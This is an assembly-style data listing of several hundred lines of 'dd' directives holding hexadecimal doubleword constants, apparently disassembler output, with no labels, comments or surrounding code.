		dd 5CC57566h, 2A0E5A42h, 0C0F3EB84h, 0AB0C32BCh, 0E90B0021h
		dd 0DA3037Ch, 91020A53h, 0EC9859F3h, 1F04406Ch,	0B9088F8h
		dd 9A07587Dh, 922E4D5Fh, 77A2BC20h, 3EF80039h, 6720741Ch
		dd 5E497A3Ah, 839D0014h, 0FDAC8056h, 2F5907B4h,	0D004DFE2h
		dd 0DA995D75h, 3DF45300h, 3A892C82h, 38E5021Ch,	5535D995h
		dd 0CDC0AE8Eh, 1D039DEEh, 1F775B00h, 65D93487h,	4C1709EAh
		dd 60A03DE7h, 63DA9551h, 695BC30Eh, 9DEC007h, 79A794E4h
		dd 29790011h, 0BB764DD8h, 5200BD1Ah, 0C6EE074h,	1255B6Fh
		dd 87B9231Ch, 0D5DD9992h, 1EE820B8h, 0A7F27001h, 3CBDF4F0h
		dd 0EFB1D4h, 738860DCh,	0EE2BA14Ch, 2ED7A300h, 0DB213B52h
		dd 6E101CD0h, 0DD8280D5h, 122C744Eh, 0AB5C6907h, 0D9208CF0h
		dd 1FF3BA6h, 76D4A3CAh,	0FCF25D37h, 7B02878Eh, 4F131A09h
		dd 0ED39E0C1h, 0EC76001Fh, 43153663h, 7A00F7BAh, 0A9F0D052h
		dd 608E8F05h, 2C3983Eh
		dd 0C2380CAEh, 90CF8084h, 56C63A47h, 26E8E035h,	0F8376DDh
		dd 9AA0339Fh, 0FBCF028h, 7375DF00h, 3DEB6794h, 0D4EEC6h
		dd 601F8E22h, 89624944h, 77FF5F1Ch, 0B152AD00h,	9D8D26h
		dd 0E0461B94h, 337A7111h, 5F9B6A07h, 472009ADh,	79050CC9h
		dd 80D0A8A0h, 43DF00C5h, 7F8EAC2Fh, 0BC74B9E2h,	0AE3FBD00h
		dd 2C50AA91h, 790800E3h, 0D9CF6498h, 123833EFh,	0C0168305h
		dd 21A2F10h, 0BB53B111h, 0A8401F8Bh, 0FC09FD97h, 816B6C9Fh
		dd 13AA44B8h, 8E312887h, 0D69261B4h, 579EE865h,	0C5B8C109h
		dd 9634202Ch, 0CBDF084h, 2F9A3375h, 9CFC8560h, 475160EDh
		dd 58E5B701h, 0FFB65D97h, 0F5E420h, 0D1ABD3Fh, 29AD312Fh
		dd 10C8B553h, 4701A1EAh, 9ABE658h, 17ACE00Ah, 53FD5604h
		dd 68C08ED4h, 0AA296Dh,	8FE4AFFh, 0E997F484h, 56EE417Dh
		dd 96EE5300h, 0E713A287h, 383100F9h, 7451A310h,	14B0C7EBh
		dd 33000579h, 3447AF5Ah, 1E156C4Ch, 0AC7EFDh, 27D89486h
		dd 0A70370C6h, 6D39619Ah, 9F8BC83Dh, 0B780F1Bh,	801D454Dh
		dd 25DDF384h, 0B5036215h, 9BC70440h, 289E8866h,	4FBA00CAh
		dd 35CDEF44h, 0E300839Fh, 6CF2DCD4h, 1CF4AA7Fh,	0C7D80636h
		dd 30B9BDF7h, 2D648D90h, 0AE150700h, 0BFF9679Ah, 18190710h
		dd 20AD691Bh, 201CDD2h,	24BC7C00h, 0C7C4B789h, 64A00062h
		dd 0ADD853BAh, 8005F11h, 0B7168B40h, 133D6E1Bh,	80876722h
		dd 0BF0401ADh, 0C11E2C98h, 4600CFA7h, 0A37C4E95h, 8F3207C7h
		dd 9162A2C2h, 0EC3B9331h, 0CB1FBAD9h, 0ABC70DB3h, 0C9808528h
		dd 98C5BCEh, 0B895A186h, 3400B00Eh, 60063B47h, 0E2006F79h
		dd 0B1B42719h, 878009h,	59288390h, 0EE617BC4h, 0E6CC8600h
		dd 70EFDC48h, 337F1C56h, 2183BBD5h, 3AB70551h, 0C1D1D9C9h
		dd 39E9C0B8h, 9482A32Ch, 44A1B580h, 22ED6Eh, 2EE3052Dh
		dd 482CAC6h, 1B3AB8BAh,	0E5996042h, 75C26AE3h, 0AE760EBEh
		dd 0C6077849h, 4C83C2DEh, 24FAA1E0h, 987B9307h,	0BD01E5A7h
		dd 52F109F2h, 0A03D6BF0h, 30162F2Ch, 0EC8837E5h, 0A90097A7h
		dd 0C5248562h, 7D82AEh,	7ED4DA94h, 2F66AEDh, 0D7F39C1h
		dd 6E0079C1h, 1A0E22E5h, 0C2475ADh, 0FE66071h, 0EFA7A8E1h
		dd 10DACC07h, 87F0D5E3h, 1853E207h, 68F7CDBBh, 0C055F223h
		dd 3DA050h, 0CBAC8E0h, 0BFD1415Ah, 5EC9400h, 4E093C15h
		dd 0B65E1E04h, 420DC0E6h, 7AFFD189h, 0CCA59C00h, 2090EF2Fh
		dd 8409061Ah, 0D9E05963h, 2800FB71h, 0F9B6ACC6h, 794B0D4Dh
		dd 21010075h, 7D4AD986h, 0B1183A72h, 0F3E06E6Ah, 0B8D810FAh
		dd 68160091h, 8AE5EF7Ch, 10B9497Bh, 6D807D3Ah, 0CF9EB579h
		dd 7E000386h, 62D4D6ADh, 144B7FA1h, 0B80554B8h,	4125A01Ch
		dd 3850CFE5h, 499C50BAh, 0DD0001B1h, 2B69C5EAh,	0FF08A6h
		dd 4E85C2CFh, 634A411h,	2BD1C00h, 38ACEF52h, 8193E7F8h
		dd 1404BF2Eh, 54809737h, 0E835A9D1h, 0A36B006Fh, 3B44F81h
		dd 181DF611h, 0FD64990Eh, 19291707h, 5C55048Ah,	4D5CCC0Fh
		dd 5D74C082h, 7E20F0h, 71383D83h, 0CE908A56h, 949E0D01h
		dd 228B43C5h, 0A08CC3D3h, 838EC2h, 84426D0Ch, 785D8893h
		dd 0B96B9600h, 8579283Bh, 195C3982h, 0F017D3Ch,	73D0AA18h
		dd 0AED56083h, 29FE427Ch, 12AF4C00h, 77AA4913h,	8B3C1E02h
		dd 11968A0Bh, 0FE187E6Ch, 91106FB6h, 0BFAD00D9h, 8E98FD2Ah
		dd 0D6000D0Fh, 0EF248603h, 6FECCFAh, 885A2904h,	0E44229ACh
		dd 0E808C621h, 0AB7B88FFh, 228C22B8h, 0D450374Ch, 0B1450628h
		dd 83F11FEh, 3C14A0D0h,	0A8BE40A3h, 446B8D44h, 3207C33h
		dd 0B8DB2205h, 0E328B450h, 62983944h, 0B7542902h, 228F1022h
		dd 842581F9h, 9D082804h, 53425C48h, 20402488h, 81C11666h
		dd 20380878h, 2C50279Ah, 0D4202064h, 294460C0h,	0B91E06E6h
		dd 1BD9BE03h, 88015973h, 0FDA8E4h, 19C189E1h, 0F09CAD05h
		dd 250127E4h, 50BD8CE2h, 9680A571h, 0E46D943Ch,	0CC00C5AEh
		dd 0C2D7AFBh, 0F661825h, 95341BECh, 0B3D05200h,	0BB2E451Eh
		dd 1A00D9D4h, 0B672FDCCh, 7F6A001Bh, 8CB6891h, 1758D93h
		dd 0F4A13700h, 32E1DB2Ch, 0F7A83E28h, 30986900h, 0FADD679Ch
		dd 0F14F3807h, 20D0AF2Eh, 0C0565B4Bh, 0B80EE810h, 4838FB74h
		dd 0C97F00F0h, 0A9799FFEh, 48437338h, 4D074418h, 50EA44E5h
		dd 0F4D4624Fh, 7A87400h, 47FBFAFDh, 0C3869079h,	0BBCBC2A0h
		dd 0F87485B0h, 0AE2F9600h, 0EAB2C8DFh, 1E5F002Eh, 4FFF7AB1h
		dd 60603FCAh, 0EC29C919h, 0EDD13B99h, 3E14B00h,	812D89CBh
		dd 0E8C1F018h, 3A1DC10h, 69C693E4h, 19C138B8h, 0CE6BF47Eh
		dd 0EEDD300h, 0E08025F3h, 284C3F6Eh, 0D23D00F9h, 43A51151h
		dd 0E8516ADBh, 151FC488h, 0F3C93500h, 639D492Eh, 48AD0564h
		dd 1DD53F11h, 0EE3E03A8h, 4C98209Fh, 4A00B773h,	0B6F758EDh
		dd 83AA42h, 8A5AF523h, 82513EEh, 461A3D00h, 0E5E1479Bh
		dd 0F30F0024h, 2AD21712h, 9C391D31h, 3FE68021h,	0AC8E6E50h
		dd 34AE02Dh, 0B2595335h, 4D90F4A3h, 77006AFFh, 18C5E9DBh
		dd 4CA1DFh, 0E12CB5Fh, 8313FAABh, 38B860E2h, 0BC069673h
		dd 0D82B66D6h, 0C46903B4h, 8F3576F3h, 4F18E9A0h, 9CF4F03Eh
		dd 0D0474B3Ch, 6110A954h, 0B09D89h, 25106D06h, 37A41B5Ch
		dd 7A31302h, 8E935439h,	0CD807E9Ch, 3D056296h, 44924Ah
		dd 0CB67F8C1h, 8CAA8122h, 0EB4E2D07h, 98E02C10h, 7E16EAh
		dd 0BC9AE095h, 0F4B3FA2Ah, 808B583Eh, 0C6AA2EE9h, 178C72Bh
		dd 4DE33D75h, 6FEE5266h, 0AC295B80h, 0A3732467h, 7125039Ch
		dd 3800E8F1h, 0E76AF5ECh, 3EDE78C2h, 25A83C22h,	6D42F4h
		dd 0B71D282Ch, 0EC3691h, 6A83B502h, 9F2B6753h, 1700D272h
		dd 0A09ADD58h, 93F1Eh, 12FA579Ch, 0E0428981h, 0D5D6200h
		dd 7D35DBE2h, 56CDFBE5h, 0F65A5ECh, 6A5B3BA7h, 5390F560h
		dd 0DA008F97h, 0AE6B22ACh, 1211A763h, 7AE78Ch, 26AD436Ch
		dd 0D00C3E2Fh, 19FD703Fh, 4E4200B0h, 5C5557A3h,	0C7016EC9h
		dd 0F0691992h, 4ACCF537h, 9B6028F6h, 0CA6F0088h, 0AF337A8Fh
		dd 4C03D2FAh, 0C7B59ADEh, 725290F0h, 2E6C1F94h,	4D188038h
		dd 0CA5746C4h, 83011890h, 5CAD72F2h, 6EF8E588h,	3ED30036h
		dd 67903357h, 0A8001055h, 4B0A2F18h, 3DC1FBh, 0FD4E9863h
		dd 0D7A33320h, 70371100h, 688449EBh, 246540BEh,	44EB323h
		dd 0D03AADFEh, 0B1875104h, 81247FCh, 3C00978Bh,	80F0CFB3h
		dd 5BFD03AAh, 0F1C8399Dh, 0D6159F81h, 972EE448h, 4A039C90h
		dd 99931AD5h, 55100095h, 0DD1E773Eh, 5A0B33A2h,	0E34F03h
		dd 0B0525F90h, 0E4CF076Ah, 0E9F21C2Dh, 8673C800h, 4600B129h
		dd 5CE7F310h, 90B0B7B6h, 0EC90E224h, 0DB911E03h, 0B995C0A7h
		dd 0E83C044Ch, 130B2200h, 0C79B47B1h, 17203E3Ah, 0EE269076h
		dd 2A970092h, 0CC96BBABh, 45003BD1h, 444F28A3h,	3FCCF3Dh
		dd 0A527DA5h, 0FAB8756Dh, 27738499h, 0EAF8B700h, 692E838Dh
		dd 60EEEBh, 19261F82h, 936391C3h, 24FEE530h, 3090418Ch
		dd 769083F5h, 0BE0045A7h, 9C8F8153h, 69022Bh, 74250678h
		dd 0D1DA5415h, 0C471AD00h, 2D327F37h, 0EDCE01A5h, 915B53F3h
		dd 8AB840F5h, 7D758EB9h, 0CC797098h, 4F42FD00h,	69CE6F0Fh
		dd 382B48F3h, 3C1F8C00h, 7F48073Dh, 30A5EC30h, 0C24F99h
		dd 0E41465F9h, 0ACD371CEh, 6EA8A250h, 2B15E70Fh, 0B844CA9Ah
		dd 0C332E502h, 70BC9656h
		dd 0C89124DFh, 0E21D835Ch, 9C98E6DEh, 9D00FAC2h, 0E451433Eh
		dd 4B65E5Dh, 0C06A508Bh, 2F6DC0F3h, 6F00A1A5h, 6B4F0C9h
		dd 969A76h, 92A7F830h, 47B68F12h, 257D4500h, 9087EB03h
		dd 77737F65h, 0CC9C00EEh, 32837C98h, 9A3AA0A1h,	627F1F69h
		dd 1B8AB500h, 3B39B63Eh, 7800E4A9h, 0BDAD209Bh,	950EA8C0h
		dd 4BC283C6h, 1EAE00D4h, 0CDAB61h, 87E35D0Ch, 0D72025E2h
		dd 1AECC303h, 7C7FBC6h,	52A6E6A2h, 346F70CEh, 0F23FB6EBh
		dd 5C270043h, 0C4F3C3FDh, 18F53C21h, 9CAE8180h,	0B48CD02h
		dd 3CC703Dh, 6DC0DB56h,	548AB860h, 0B32E00A2h, 2565AB53h
		dd 3B3F474Dh, 0F83D94h,	5E5289B5h, 245FE0h, 0C43036C7h
		dd 0D2663D09h, 8B0BB41Fh, 78DEB780h, 12084C4Ah,	0C796D9h
		dd 0A7574468h, 3D005073h, 0C5E4F6Fh, 109763Eh, 3F2D4C2Fh
		dd 0ECF07411h, 0AD00DAC7h, 98C0DE03h, 7064CCDBh, 0A535090Ah
		dd 6C00A8C2h, 0A3EF9DD9h, 4FCFD10Bh, 468F00D5h,	7164DA7h
		dd 0BD867B6Dh, 3CF6601Ah, 0C0009B62h, 42F1A3C1h, 39D9ECA7h
		dd 0E0014AE8h, 0D2D50401h, 0EAC0C6E2h, 777F4148h, 9D258C00h
		dd 0A01C3288h, 86465093h, 548B003Ch, 705CA1D2h,	0E071E86h
		dd 50D9ED2Bh, 0E74AA0FEh, 0BBF02h, 6F7970F3h, 0D154CFD0h
		dd 50FDC700h, 0FB2C78DFh, 5752388Bh, 3555A300h,	0F99EE08Dh
		dd 86008EEAh, 0A9AAA472h, 77CB6137h, 8DD700A5h,	0A17C40FAh
		dd 4800AF3Ah, 73EBE3ABh, 27E976h, 7B94A64Dh, 0FC2866E1h
		dd 529F1100h, 0EC9609D2h, 0B5B4003Eh, 21A7622Fh, 543D0EFBh
		dd 0E9B12C3Ah, 1ADB6101h, 46C88A30h, 142C0047h,	2445CD0Bh
		dd 4A0EB0D2h, 0E0D84149h, 37D46857h, 0F00B0366h, 14B36EFFh
		dd 0E13E3E01h, 0E096ACC2h, 2D707BD1h, 0E52F0B9Fh, 0E707BBBFh
		dd 43C05EC7h, 63A8C156h, 0D300A6F6h, 3222BD5Dh,	0E8EB9Bh
		dd 0B491709Eh, 6E80F6B6h, 0CAD9C51Dh, 0BB666DC0h, 0A29FCFh
		dd 0B8F8ED3h, 3ED7291Bh, 38EA4403h, 86E07Bh, 0B2130748h
		dd 84B95B0Fh, 68A7BB0Eh, 69B4C0D1h, 1D80A9h, 176DA619h
		dd 2337B3E3h, 0B942FE0Bh, 0AFDD806Ch, 0F69754h,	295E6903h
		dd 757A7825h, 37812F00h, 92549E68h, 3AFC3AB0h, 0B85B9986h
		dd 5300D0C7h, 0B75D4D19h, 1F9FAD78h, 7A395DDh, 0B0EB624Eh
		dd 3F405AA6h, 0DC14A09h, 490C8361h, 1225B877h, 0FFDB38D9h
		dd 0FBADD87h, 0D4B460CFh, 96019917h, 5EBB75B0h,	51208B4Bh
		dd 8E980064h, 3AA36036h, 4C015104h, 9590552Fh, 0E03E0F2Bh
		dd 0F0001F63h, 13F4CF8Bh, 0B91E7D5h, 0ADE603AFh, 83B4A480h
		dd 0F601A057h, 0D2B21A2Ch, 18D0F2E3h, 2E3698D8h, 0E11034h
		dd 677EC3DDh, 90008E0Dh, 0EE9AB585h, 76A841FDh,	91E007A6h
		dd 0E2FA06A4h, 0F6C0F61Eh, 170040C4h, 28D470A0h, 3A41998Eh
		dd 0A38747D0h, 0B0ADD36Fh, 9C1D86A6h, 21CB7002h, 80B769E3h
		dd 0F8EA5AD0h, 30D16052h, 5F1DD7FDh, 0C9B2E01h,	0AEB49C23h
		dd 0F18AD8h, 4C1CCED5h,	91F49241h, 29836F00h, 260DD0E8h
		dd 0CB7201EDh, 0B2C00362h, 0FCF2D857h, 66AD761Fh, 0A0483047h
		dd 0F3FF2670h, 0F5430759h, 0E3911B09h, 18747989h, 8ABC8C03h
		dd 0C77FACAAh, 90EE805Fh, 7C886Ah, 532F385Bh, 0C115D8ADh
		dd 315FC300h, 9E7540ECh, 5A250020h, 8E678343h, 5500AFC8h
		dd 29D450F6h, 387E1FDEh, 4F8EA05h, 0FDB6F38Ch, 0F908870Ah
		dd 0F0302010h, 0F91AFA00h, 0A34A6B5h, 9B700057h, 49F4EF1Ch
		dd 5103452Fh, 0B6E08583h, 0C88FBB06h, 4D1E37Ah,	584922B5h
		dd 0B140801Fh, 0DD740ED5h, 0A724EE02h, 80BE8D81h, 0EC6F68A4h
		dd 7D0800FAh, 0E178F55Dh, 0BBE59888h, 0C978338h, 0EFB3811Fh
		dd 0F016C053h, 0E7E2B8h, 0D517D019h, 0CFDE354Ch, 0A8D82E00h
		dd 0B30E43EEh, 390F9807h, 6507C98Dh, 90F14F13h,	1ABC1BB5h
		dd 7C969400h, 19798851h, 4A291F02h, 0E1F4803Ah,	470117FDh
		dd 1FB38B17h, 0B80F9500h, 1C9EB4D7h, 0E0B676h, 0CCD3DB2Eh
		dd 0D2F07A92h, 0AE697C01h, 38522F5Fh, 1F11D9E8h, 426B54h
		dd 9F6DA0CCh, 0F000B3E0h, 4AA81E3h, 7C311B4h, 0A6CB010Fh
		dd 0D8802E3Eh, 79854A2h, 95C9BF0Ch, 0FF1808h, 976333BCh
		dd 0A1381CE8h, 0EEFAE300h, 5DA01613h, 547501BEh, 90F5057Ah
		dd 0FE9ECC46h, 0D6669700h, 2869D017h, 0A3671E0Fh, 68E2805Eh
		dd 7398ED12h, 88906100h, 0F177C339h, 3F36001Ch,	338EEF30h
		dd 0B72B684h, 0FAB9D8A0h, 0A3009FE2h, 8D14D194h, 9D6849h
		dd 6B5C3080h, 0F411D4E9h, 5EABEB00h, 35180793h,	0C4CE01B8h
		dd 5DE9D9A8h, 5CE42068h, 42CA7900h, 93FA8144h, 0E3BC01EBh
		dd 88842755h, 510B6064h, 0C5D79400h, 0EAE94E03h, 64E27F19h
		dd 0C2D9706Bh, 0C0607FB4h, 600F05Eh, 0BBF69060h, 0FBEB41h
		dd 71AB3DE5h, 5044968Ch, 0E89948h, 792BA137h, 302A0865h
		dd 82409B75h, 2400BCB4h, 347254EFh, 1F19E66h, 3FE7AD64h
		dd 704E626Ch, 7A3ED887h, 9C559BFFh, 8F4C2E38h, 1BE700FAh
		dd 2879125Ch, 66FBD1Fh,	64DE9603h, 20F05085h, 364B0370h
		dd 0D181CDB8h, 6274401Fh, 309A6609h, 1CE4B4h, 4E2CB3E7h
		dd 6B3E5E80h, 0C2B9EB00h, 7699D505h, 8F110150h,	0C428ACBBh
		dd 8CF1F06Ah, 0EEDAA000h, 63A50177h, 0B1C00081h, 8D282A6h
		dd 4701B7CDh, 0A19ADDAAh, 7570708Ah, 3DD61E33h,	0C3B3401Fh
		dd 0C432EFDEh, 0B803ECB0h, 34DF8C9Ah, 406FFF5Bh, 0ED501E4Ch
		dd 749C189Bh, 7A828812h, 0A305290Fh, 18E4A062h,	0ECB70Bh
		dd 0AC2B6BF9h, 0D12352D6h, 1F00DFEEh, 93ED4ED5h, 30F18985h
		dd 18A838D0h, 0E705E8Fh, 872838h, 31421453h, 0E112FC5h
		dd 0C3A843A3h, 506D4A0h, 84077AB0h, 22D6E028h, 0B2B0D107h
		dd 47F1EFh, 506407BAh, 0F7CD0952h, 0F0A8C030h, 19EFE7h
		dd 0F1B6C184h, 5EAFFCD1h, 0A867A207h, 80FB2A9Bh, 0FE52A118h
		dd 7CBB7B64h, 0EEC1A0B0h, 68D4A041h, 3A3E3866h,	70555680h
		dd 6789441Bh, 57C97818h, 7F5E10h, 5A79DBA7h, 39350F49h
		dd 842EB77Eh, 338128D9h, 0C2BA8F7Bh, 13B58024h,	0DE7803h
		dd 0E66B61B4h, 7503CF52h, 3F1C887Fh, 0E832E867h, 185D79A8h
		dd 4825C354h, 4003727Bh, 5F0CF2CAh, 38A01E42h, 0C5CEC055h
		dd 29918ACFh, 68C07777h, 858C1BEBh, 3254059Ah, 0D07982D2h
		dd 86315B20h, 480BC600h, 25E66F05h, 0C9CEC3Eh, 0DF946CE1h
		dd 0B8B0C6A9h, 8ECF3Ah,	8492D2DBh, 0B04BBCD7h, 0CCB20700h
		dd 1183AEBh, 8E48FAE6h,	41B8519h, 0B7C09E59h, 0E8E8CA64h
		dd 57AD0565h, 8088D9A2h, 87E7E960h, 691C8C00h, 4A4C9EB5h
		dd 786A6010h, 0E181E861h, 9F57AB00h, 9186ADB7h,	5BCF0B3h
		dd 7870E22Dh, 30D04027h, 0B29CA84Dh, 0BD32D90Eh, 45DF82F2h
		dd 7B0AF7Fh, 0FDC1CB09h, 75C0B864h, 281A01A0h, 26076C32h
		dd 79DB6081h, 0A8B15907h, 19E0E391h, 0F09BF28Ch, 20493B2h
		dd 6AED8AF3h, 1076D880h, 7E52025Ah, 15848E4h, 734001C3h
		dd 74D3CB87h, 0DB7C38h,	192B80F5h, 0C77F8C0Ah, 0ED21E8A9h
		dd 0C2389C77h, 0B8BF4300h, 0F887E0D9h, 0C19F1DF5h, 0A6C340F2h
		dd 26F912BDh, 0CF8C151Eh, 0B3A050FAh, 980EA4B8h, 808D3FF5h
		dd 0DDA30912h, 51550E11h, 0DCE1A633h, 347B75E9h, 1B00FD30h
		dd 9CB6BEE6h, 1E50431h,	485065F9h, 60CC0C7Ah, 0A100FF3Ah
		dd 0CE34C6F4h, 176B91Dh, 28A2DC8Fh, 2031B064h, 8300E26Bh
		dd 2AD291D0h, 654C39h
		dd 646DEBCBh, 13A18938h, 5A45BE12h, 28E9B404h, 9E4800AFh
		dd 0F64B3683h, 0B4304Ch, 987718FCh, 0EAFEE13Ch,	5A1C0046h
		dd 64CFC342h, 0B604CBFh, 7A3BE8Eh, 2A69136Ch, 0CF100746h
		dd 0ED17B037h, 7106705Ah, 3E2B8F9Fh, 4C992CE8h,	23350121h
		dd 0CD721EB0h, 8013FD66h, 0FDE6A5F0h, 0EAD6E1FFh, 587D702Ah
		dd 54003C9Dh, 8E2EBAC8h, 1C077E43h, 0FBBECCC6h,	254963DEh
		dd 0DF75C007h, 0ADEC000Bh, 5901952Dh, 8900A1E2h, 0BFAB2326h
		dd 5BB9A8h, 506BE06Ch, 0C5E692FFh, 0C832FCF1h, 90D9FA00h
		dd 719D42E7h, 0C090DFD6h, 4759D512h, 5E2E340Dh,	65017270h
		dd 167AE4E0h, 60C698DFh, 18E3A2Fh, 29ECDF00h, 0FCF45235h
		dd 0D3EB2400h, 0CB694089h, 8FDD0053h, 0B155E16Eh, 0C609D494h
		dd 58FD15h, 40C71CCh, 1689247h,	574A2D10h, 0E6243C99h
		dd 2ABB9040h, 43B55007h, 0CFC382E8h, 3F22887Eh,	93C5EC84h
		dd 0DDE208B0h, 805D4009h, 276B96A8h, 0B049D4D2h, 9DA75303h
		dd 0AB0458Ah, 0B33011FBh, 10C821B2h, 28E86798h,	0E647409Bh
		dd 0A200A757h, 0ACC16DBh, 48711FCh, 3D4903A6h, 21E8D0A5h
		dd 0B012622Ah, 0A42C8B85h, 3DE930D4h, 53C359E1h, 205C2A17h
		dd 0AD602900h, 0DA2C76h, 7735E006h, 9333133Bh, 242D6E3Dh
		dd 0C906E875h, 9401FEBh, 6DFE3418h, 0C1E04880h,	18C04F80h
		dd 0ABEFD76Ch, 597B00DBh, 0E8FAEA43h, 3C0CC6A2h, 81B96A58h
		dd 1C3F07DAh, 61F21114h, 0C84F7BD8h, 971C7391h,	9B00CFEAh
		dd 0B109E1Fh, 51E10B07h, 4300F55Dh, 6EB8085Ah, 0E91E3105h
		dd 0B4010B30h, 86AC3D16h, 347A160h, 3E839308h, 990081CEh
		dd 15D8AE6Bh, 7F8F27D1h, 44283D56h, 64FC5Ah, 7754641h
		dd 20BBCBh, 353FC8Fh, 8137EC0h,	1EECB57Dh, 8660817Ah, 92AC7A60h
		dd 54550776h, 202B6E6Bh, 8526CBB8h, 0A7658800h,	6A5C89C6h
		dd 0EE3E0A14h, 0D097D1h, 38BD6B2Ah, 86074CF2h, 93C0F1Ah
		dd 72ACEBB0h, 78E700E3h, 9E1907DBh, 0D23B673Dh,	6CB30121h
		dd 4BB28690h, 26A6F1FCh, 40F4E591h, 3077995Ah, 8A0B7C00h
		dd 9BC18567h, 0A3E63AEBh, 7866338Eh, 12A0C64Fh,	0E835468Fh
		dd 0C8286D00h, 0A3F0F4F7h, 1BD800DFh, 835416F3h, 0DCE782ECh
		dd 9F763039h, 0D088A07h, 0A1C710FBh, 0AEA6E6F0h, 0F49D3CDBh
		dd 2A306303h, 0F7A8A9E5h, 0ADFAF2FCh, 6B60D80Eh, 91B487DEh
		dd 9E8CFA0h, 29061EACh,	0C74A0070h, 51D6C2B7h, 20076A00h
		dd 144EF877h, 0F63EC258h, 8A60BDF7h, 0D006B59h,	9AFA624h
		dd 0AD9A828h, 8642FBADh, 0B39D00FCh, 0E6A67914h, 0B443E71Ch
		dd 0BD5EF7CEh, 6C3BDF81h, 49E4D31Eh, 0DC924C76h, 0BA66AC13h
		dd 2F7BC800h, 5FE67Fh, 0AA048935h, 0F1BF305Dh, 0CC1084A1h
		dd 0A0B88B40h, 0C4FE0802h, 40FCBECEh, 153BFD0h,	87546FCAh
		dd 0E4048A7Bh, 62007FC5h, 70DC26Dh, 79A00F95h, 37940076h
		dd 598F23Dh, 0E01C2B61h, 26402F30h, 4307AE11h, 484F009Dh
		dd 0C56FA8DAh, 0E000188h, 0D52C093Eh, 76FF3350h, 0B0DD00E4h
		dd 0BA2A81D2h, 6B005B48h, 0F2E7451h, 3BC04D0h, 0AE353A1Ah
		dd 0CAF9D1B8h, 0ED80D221h, 77B493B5h, 6965DC00h, 0B93F371Ch
		dd 0F8A50027h, 0E3985EE0h, 133E5B0Dh, 293B0021h, 7F4B2361h
		dd 0DC9604A4h, 809AA6A9h, 6974FCF4h, 0AA07C100h, 0CFD66DF6h
		dd 0A16C0705h, 70036EBDh, 0E972BC1Ah, 0CAEAEE00h, 0B2F67670h
		dd 2AD04836h, 0EF7A0500h, 0E4301227h, 313A4703h, 0A1C0DDDCh
		dd 60746BAAh, 9355013Dh, 0DFC57A54h, 43E474B3h,	72519007h
		dd 64E1E2BDh, 0B040A960h, 1C3C0B37h, 8146B5E7h,	0A4479559h
		dd 6763C825h, 33C09A00h, 3B0EF685h, 2FC7Ah, 1A6C6B8Ch
		dd 403F7429h, 0EC00E070h, 75265B4Ah, 4CE4CB57h,	809EEC8Ah
		dd 0BA20A586h, 790E83E8h, 0E7A9AF36h, 71807A99h, 478535h
		dd 7C55D69Bh, 1C6F62C1h, 4DF70900h, 20BF9C7h, 6CB400C0h
		dd 0DD964375h, 0E118EA77h, 2EC0BCA0h, 10ECA6D1h, 263A3FCh
		dd 2C312878h, 0F8726391h, 62B0723h, 569527Fh, 140004D1h
		dd 0F554C647h, 28CD0878h, 16D4B04Eh, 8B249Ah, 0D760F92Ch
		dd 0D51C97BAh, 48806947h, 35C20D43h, 13770065h,	0F71F7A63h
		dd 730BAF8h, 791A8037h,	0B834007Fh, 60EB405Ah, 9A4889DDh
		dd 6BC501B8h, 9DECA95Ch, 0A2208BDDh, 8A870338h,	94630554h
		dd 323C2A98h, 9FC58E0Fh, 0B3E9200Eh, 0B2DE1Bh, 860D26D4h
		dd 0C3A9711Dh, 0D717C409h, 0F8B807F6h, 889088C5h, 9C272E51h
		dd 0AA3F044Ch, 89E4F4B0h, 85210600h, 243150CEh,	9C431637h
		dd 0CD9C44F9h, 0CCC4C065h, 7100157Dh, 0D3610C97h, 0A0C573E4h
		dd 8D5CB8h, 90CD2F09h, 0AE238698h, 0CB0706FAh, 0E5628A7Ah
		dd 95267BE1h, 6332A440h, 45430065h, 176DCF55h, 3D093144h
		dd 8087B4F3h, 2F03A1E0h, 0F9B64C2Eh, 4009BA00h,	0EA177778h
		dd 3CE07B4Dh, 4DCD81CEh, 2EDE8074h, 0B8D830h, 0CC795220h
		dd 0DA293951h, 381E1300h, 68F15C95h, 0BEAA0065h, 62C26618h
		dd 69004220h, 0C5F20FDDh, 7AC38384h, 9AA1036Ch,	0D1286FB3h
		dd 365DBBE8h, 0FED8C500h, 5AC650F4h, 2B2212E3h,	190C026Bh
		dd 0F898B4A1h, 328035EFh, 4C05015Eh, 0EBF42846h, 1A16F87Dh
		dd 0A73DCF02h, 5647EA6Ah, 95EF0E73h, 5880332Bh,	51300C59h
		dd 25A05C00h, 0D32B861Bh, 6D613ACEh, 9D817A83h,	44C0CAAAh
		dd 4907E27Eh, 18389A4Fh, 9075CEB0h, 404A0003h, 154C511Bh
		dd 0E8008430h, 801C993Ah, 3B703620h, 4A099666h,	280CC56h
		dd 0BA94E2F6h, 41BA705h, 0C8B13660h, 4AEEE02Eh,	0A4000EE6h
		dd 9AF9C8F1h, 145085A0h, 8086464Dh, 0C9E99C00h,	0D7FFADA3h
		dd 2F774A0Ch, 1C20E7h, 7A6FE350h, 4C8F529Ch, 0EEA4B00h
		dd 0D7DC5722h, 0A3632DF3h, 0D0C4F880h, 0A70943D4h, 80DF94D8h
		dd 4A0A5160h, 12B000A8h, 77BDB4B1h, 0DC22CA22h,	914400B2h
		dd 1EF3826Ah, 16051709h, 0D4B1D27h, 7C59E680h, 565D3EB1h
		dd 768BD502h, 5A6158E1h, 0CC843082h, 63AF1F00h,	0F2A08368h
		dd 7545015Ch, 0DF32C2C1h, 6EBF801h, 5F380EEEh, 83518F16h
		dd 229FC57Ah, 0F19820D2h, 0DE950B78h, 0F54F2000h, 0AA3EE64Ah
		dd 8B16808Dh, 0F3C856EFh, 42BA0CB6h, 4628D943h,	513F9DB0h
		dd 300B7CABh, 0C7C463h,	1E2B82FCh, 0BE29C053h, 18923852h
		dd 0BB214C1h, 33EC8B5Ah, 6E97007Bh, 1704D8D6h, 70E20EABh
		dd 0EBCDB301h, 9F6A5402h, 487A5DD8h, 0A600BC93h, 8E9C04BDh
		dd 0AE0086C0h, 78267068h, 5DF97Ah, 0F7654345h, 0D2B26D55h
		dd 46E64400h, 52C0340Dh, 9E5F2CD7h, 0A47302D8h,	2CD00907h
		dd 1EBC2848h, 24CE1174h, 70554038h, 24FC69Bh, 0D76B9808h
		dd 94682FCFh, 0D090177Eh, 34D11B03h, 0F2D3D0ECh, 0BB98401Eh
		dd 138F007Dh, 0A167C399h, 0D80EFEADh, 4312D74Bh, 7197E1Ah
		dd 0E955A228h, 0C8DA67h, 5AB086E8h, 20EA1FFh, 2098C181h
